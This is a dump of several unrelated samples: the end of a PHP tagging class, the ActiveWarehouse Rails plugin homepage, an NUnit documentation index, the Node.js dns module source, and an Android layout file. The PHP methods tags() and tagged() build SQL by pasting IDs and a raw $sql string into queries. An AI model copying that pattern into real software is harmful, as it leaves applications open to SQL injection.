            $db->query("DELETE FROM {$this->tableName}2tags WHERE {$this->tagColumnName} = :obj_id", array(':obj_id' => $this->id));
            return true;
        }

        public function tags()
        {
            $db = Database::getInstance();
            if(is_null($this->id)) return false;
            $result = $db->query("SELECT t.id, t.name FROM {$this->tableName}2tags a LEFT JOIN tags t ON a.tag_id = t.id WHERE a.{$this->tagColumnName} = {$this->id}");
            $tags = array();
            $rows = $db->getRows($result);
            foreach($rows as $row)
                $tags[$row['name']] = $row['id'];
            return $tags;
        }

        // Return all objects tagged $tag_name
        public function tagged($tag_name, $sql = '')
        {
            $db = Database::getInstance();

            $tag = new Tag($tag_name);
            if(is_null($tag->id)) return array();

            return DBObject::glob(get_class($this), "SELECT b.* FROM {$this->tableName}2tags a LEFT JOIN {$this->tableName} b ON a.{$this->tagColumnName} = b.{$this->idColumnName} WHERE a.tag_id = {$tag->id} $sql");
        }
    }


text:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

    <meta http-equiv="Content-type" content="text/html; charset=utf-8" />
    <title>ActiveWarehouse: Let's Get Analytical</title>
    <link href="stylesheets/standard.css" media="all" rel="Stylesheet" type="text/css" />

    <form id="search" action="http://www.google.com/search" method="get">
      <input type="hidden" name="hl" value="en" />
      <input type="text" id="search-text" name="q" value="data warehouse" />
      <input type="submit" value="Search" /> Google
    </form>

Navigation

User's Guides

RubyForge Project

Mailing List

Github

Clone URL

API Documentation

The Author's Blog

Subprojects

ETL Tool

Rails SQL Views

Adapter Extensions

Data Warehouse Information

Data Warehouse on Wikipedia

The Data Warehouse Info Center

Data Warehouse on ITToolbox

Data Warehouse Books

The Data Warehouse Toolkit

The Data Warehouse ETL Toolkit

Related Items

Business Intelligence on Wikipedia

Let's Get Analytical

Data Warehouse on Rails!

Getting started

The ActiveWarehouse plugin simplifies building data warehouses in Rails. A data warehouse is a database designed specifically for analytical use as opposed to operational transaction processing. Typically a data warehouse houses data which spans several years and is sourced from numerous operational databases. Data warehouses are usually highly de-normalized which is contrary to transactional systems which tend to be normalized. The links in the side bar provide additional information.

Here’s how to get rolling:

Install the plugin

Getting the ActiveWarehouse plugin is easy: go to the home directory for a Rails app and type:

script/plugin install  	 git://github.com/aeden/activewarehouse.git

The code will be downloaded from the Github repository and placed in the vendor/plugins directory of your app.

Build your warehouse

Use <tt>script/generate</tt> to create your facts, dimensions and cubes.

Load Data with ActiveWarehouse ETL

Use the ActiveWarehouse ETL library to extract data from operational systems, transform it so that it conforms across data sources, and load it into your data warehouse.

What About Tutorials?

There are no tutorials that cover the current version of ActiveWarehouse.

What's There Now?

Right now the plugin has the following functionality:

Generators for Facts, Dimensions, Cubes and Bridges

Multi-dimension support

Default aggregate implementation that converts cube queries to SQL queries

DateDimensionBuilder which can be used to populate a typical warehouse date dimension

Support for calculated fields

Support for pre-joining facts with dimensions for fact listings

Extensions to Date class to handle calculation of fiscal year elements

Report helper for creating a view of cubes with drill down

Role playing (i.e. views on the same dimensions - for the date dimension)

Slowly changing dimensions

Variable depth hierarchies (i.e. ragged hierarchies)

ETL tool

What Might Appear in the Future?

Dimensional modeling concepts not yet implemented:

Semi-additive facts (i.e. averaged values) and non-additive facts

Junk dimensions

Periodic snapshot and accumulating snapshot

Outriggers

Mini-dimensions

Year-to-date calculated fields

New aggregation implementations

Create a CustomerDimensionBuilder

Docs, docs and more docs

A live demo site to show how AW works

Drag and drop slice and dice (i.e. changing currently viewed cube dimensions on the fly)

If you would like additional assistance with ActiveWarehouse then join the mailing list, contribute comments, patches, new code, whatever, and let's get warehousing!

    Copyright 2006-2009, All Rights Reserved

    Anthony's Email:anthonyeden@gmail.com


text:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">

<title>NUnit - DocHome</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<meta http-equiv="Content-Language" content="en-US">
<link rel="stylesheet" type="text/css" href="nunit.css">
<link rel="shortcut icon" href="favicon.ico">

    NUnit
    Documentation

NUnit 2.5.10

This documentation covers the NUnit 2.5.10 release,
   introducing a large set of new features to NUnit, particularly in
   the area of parameterized or data-driven testing.

Where applicable, we have marked sections with the version in which a feature
   first appeared.

If you are new to NUnit, we suggest you begin by reading the
	Getting Started section of this site.
	 Those who have used earlier releases may want to begin with the
	Upgrading section.

See the
   Release Notes   for more information on this release.

All documentation is included in the release packages of NUnit. Beginning with NUnit
2.4.2, you may choose to download the documentation
separately.

NUnit 2.5.10

Getting Started

Assertions

Constraints

Attributes

Running Tests

Extensibility

Release Notes

Samples

License

  Copyright © 2010 Charlie Poole. All Rights Reserved.


text:
var net = require('net');
var util = require('util');

var cares = process.binding('cares_wrap');
var uv = process.binding('uv');

var GetAddrInfoReqWrap = cares.GetAddrInfoReqWrap;
var GetNameInfoReqWrap = cares.GetNameInfoReqWrap;

var isIp = net.isIP;

function errnoException(err, syscall, hostname) {
  // FIXME(bnoordhuis) Remove this backwards compatibility shite and pass
  // the true error to the user. ENOTFOUND is not even a proper POSIX error!
  if (err === uv.UV_EAI_MEMORY ||
      err === uv.UV_EAI_NODATA ||
      err === uv.UV_EAI_NONAME) {
    err = 'ENOTFOUND';
  }
  var ex = null;
  if (typeof err === 'string') {  // c-ares error code.
    ex = new Error(syscall + ' ' + err + (hostname ? ' ' + hostname : ''));
    ex.code = err;
    ex.errno = err;
    ex.syscall = syscall;
  } else {
    ex = util._errnoException(err, syscall);
  }
  if (hostname) {
    ex.hostname = hostname;
  }
  return ex;
}

// c-ares invokes a callback either synchronously or asynchronously,
// but the dns API should always invoke a callback asynchronously.
//
// This function makes sure that the callback is invoked asynchronously.
// It returns a function that invokes the callback within nextTick().
//
// To avoid invoking unnecessary nextTick(), `immediately` property of
// returned function should be set to true after c-ares returned.
//
// Usage:
//
// function someAPI(callback) {
//   callback = makeAsync(callback);
//   channel.someAPI(..., callback);
//   callback.immediately = true;
// }
function makeAsync(callback) {
  if (!util.isFunction(callback)) {
    return callback;
  }
  return function asyncCallback() {
    if (asyncCallback.immediately) {
      // The API already returned, we can invoke the callback immediately.
      callback.apply(null, arguments);
    } else {
      var args = arguments;
      process.nextTick(function() {
        callback.apply(null, args);
      });
    }
  };
}

function onlookup(err, addresses) {
  if (err) {
    return this.callback(errnoException(err, 'getaddrinfo', this.hostname));
  }
  if (this.family) {
    this.callback(null, addresses[0], this.family);
  } else {
    this.callback(null, addresses[0], addresses[0].indexOf(':') >= 0 ? 6 : 4);
  }
}

// Easy DNS A/AAAA look up
// lookup(hostname, [options,] callback)
exports.lookup = function lookup(hostname, options, callback) {
  var hints = 0;
  var family = -1;

  // Parse arguments
  if (hostname && typeof hostname !== 'string') {
    throw TypeError('invalid arguments: hostname must be a string or falsey');
  } else if (typeof options === 'function') {
    callback = options;
    family = 0;
  } else if (typeof callback !== 'function') {
    throw TypeError('invalid arguments: callback must be passed');
  } else if (util.isObject(options)) {
    hints = options.hints >>> 0;
    family = options.family >>> 0;

    if (hints !== 0 &&
        hints !== exports.ADDRCONFIG &&
        hints !== exports.V4MAPPED &&
        hints !== (exports.ADDRCONFIG | exports.V4MAPPED)) {
      throw new TypeError('invalid argument: hints must use valid flags');
    }
  } else {
    family = options >>> 0;
  }

  if (family !== 0 && family !== 4 && family !== 6)
    throw new TypeError('invalid argument: family must be 4 or 6');

  callback = makeAsync(callback);

  if (!hostname) {
    callback(null, null, family === 6 ? 6 : 4);
    return {};
  }

  var matchedFamily = net.isIP(hostname);
  if (matchedFamily) {
    callback(null, hostname, matchedFamily);
    return {};
  }

  var req = new GetAddrInfoReqWrap();
  req.callback = callback;
  req.family = family;
  req.hostname = hostname;
  req.oncomplete = onlookup;

  var err = cares.getaddrinfo(req, hostname, family, hints);
  if (err) {
    callback(errnoException(err, 'getaddrinfo', hostname));
    return {};
  }

  callback.immediately = true;
  return req;
};

function onlookupservice(err, host, service) {
  if (err)
    return this.callback(errnoException(err, 'getnameinfo', this.host));

  this.callback(null, host, service);
}

// lookupService(address, port, callback)
exports.lookupService = function(host, port, callback) {
  if (arguments.length !== 3)
    throw new Error('invalid arguments');

  if (cares.isIP(host) === 0)
    throw new TypeError('host needs to be a valid IP address');

  callback = makeAsync(callback);

  var req = new GetNameInfoReqWrap();
  req.callback = callback;
  req.host = host;
  req.port = port;
  req.oncomplete = onlookupservice;

  var err = cares.getnameinfo(req, host, port);
  if (err) throw errnoException(err, 'getnameinfo', host);

  callback.immediately = true;
  return req;
};

function onresolve(err, result) {
  if (err)
    this.callback(errnoException(err, this.bindingName, this.hostname));
  else
    this.callback(null, result);
}

function resolver(bindingName) {
  var binding = cares[bindingName];

  return function query(name, callback) {
    if (!util.isString(name)) {
      throw new Error('Name must be a string');
    } else if (!util.isFunction(callback)) {
      throw new Error('Callback must be a function');
    }

    callback = makeAsync(callback);
    var req = {
      bindingName: bindingName,
      callback: callback,
      hostname: name,
      oncomplete: onresolve
    };
    var err = binding(req, name);
    if (err) throw errnoException(err, bindingName);
    callback.immediately = true;
    return req;
  }
}

var resolveMap = {};
exports.resolve4 = resolveMap.A = resolver('queryA');
exports.resolve6 = resolveMap.AAAA = resolver('queryAaaa');
exports.resolveCname = resolveMap.CNAME = resolver('queryCname');
exports.resolveMx = resolveMap.MX = resolver('queryMx');
exports.resolveNs = resolveMap.NS = resolver('queryNs');
exports.resolveTxt = resolveMap.TXT = resolver('queryTxt');
exports.resolveSrv = resolveMap.SRV = resolver('querySrv');
exports.resolveNaptr = resolveMap.NAPTR = resolver('queryNaptr');
exports.resolveSoa = resolveMap.SOA = resolver('querySoa');
exports.reverse = resolveMap.PTR = resolver('getHostByAddr');

exports.resolve = function(hostname, type_, callback_) {
  var resolver, callback;
  if (util.isString(type_)) {
    resolver = resolveMap[type_];
    callback = callback_;
  } else if (util.isFunction(type_)) {
    resolver = exports.resolve4;
    callback = type_;
  } else {
    throw new Error('Type must be a string');
  }

  if (util.isFunction(resolver)) {
    return resolver(hostname, callback);
  } else {
    throw new Error('Unknown type "' + type_ + '"');
  }
};

exports.getServers = function() {
  return cares.getServers();
};

exports.setServers = function(servers) {
  // cache the original servers because in the event of an error setting the
  // servers cares won't have any servers available for resolution
  var orig = cares.getServers();

  var newSet = [];

  servers.forEach(function(serv) {
    var ver = isIp(serv);

    if (ver)
      return newSet.push([ver, serv]);

    var match = serv.match(/\[(.*)\](:\d+)?/);

    // we have an IPv6 in brackets
    if (match) {
      ver = isIp(match[1]);
      if (ver)
        return newSet.push([ver, match[1]]);
    }

    var s = serv.split(/:\d+$/)[0];
    ver = isIp(s);

    if (ver)
      return newSet.push([ver, s]);

    throw new Error('IP address is not properly formatted: ' + serv);
  });

  var r = cares.setServers(newSet);

  if (r) {
    // reset the servers to the old servers, because ares probably unset them
    cares.setServers(orig.join(','));

    var err = cares.strerror(r);
    throw new Error('c-ares failed to set servers: "' + err +
                    '" [' + servers + ']');
  }
};

// uv_getaddrinfo flags
exports.ADDRCONFIG = cares.AI_ADDRCONFIG;
exports.V4MAPPED = cares.AI_V4MAPPED;

// ERROR CODES
exports.NODATA = 'ENODATA';
exports.FORMERR = 'EFORMERR';
exports.SERVFAIL = 'ESERVFAIL';
exports.NOTFOUND = 'ENOTFOUND';
exports.NOTIMP = 'ENOTIMP';
exports.REFUSED = 'EREFUSED';
exports.BADQUERY = 'EBADQUERY';
exports.ADNAME = 'EADNAME';
exports.BADFAMILY = 'EBADFAMILY';
exports.BADRESP = 'EBADRESP';
exports.CONNREFUSED = 'ECONNREFUSED';
exports.TIMEOUT = 'ETIMEOUT';
exports.EOF = 'EOF';
exports.FILE = 'EFILE';
exports.NOMEM = 'ENOMEM';
exports.DESTRUCTION = 'EDESTRUCTION';
exports.BADSTR = 'EBADSTR';
exports.BADFLAGS = 'EBADFLAGS';
exports.NONAME = 'ENONAME';
exports.BADHINTS = 'EBADHINTS';
exports.NOTINITIALIZED = 'ENOTINITIALIZED';
exports.LOADIPHLPAPI = 'ELOADIPHLPAPI';
exports.ADDRGETNETWORKPARAMS = 'EADDRGETNETWORKPARAMS';
exports.CANCELLED = 'ECANCELLED';


text:
<ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="wrap_content"
    android:background="#FFFFFF"
    android:orientation="vertical"
    tools:context="com.mredrock.cyxbs.ui.fragment.NavigationFragment">

    <LinearLayout
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:orientation="vertical">

        <TextView
            android:id="@+id/tv_greet"
            android:background="@drawable/greet_bg"
            android:layout_width="match_parent"
            android:layout_height="48dp"
            android:paddingBottom="8dp"
            android:paddingLeft="36dp"
            android:paddingTop="8dp"
            android:gravity="left|center"
            android:textColor="@android:color/white"
            android:textSize="16sp"
            android:text="@string/hello" />

        <View
            android:layout_width="match_parent"
            android:layout_height="1dp"
            android:background="@android:color/darker_gray"
            android:layout_marginBottom="4dp"/>

        <ListView
            android:id="@+id/lv_options"
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:divider="@android:color/transparent">

            </ListView>

        <View
            android:layout_width="match_parent"
            android:layout_height="1dp"
            android:background="@android:color/darker_gray" />

        <ListView
            android:id="@+id/lv_setting"
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:divider="@android:color/transparent">

            </ListView>
    </LinearLayout>
</ScrollView>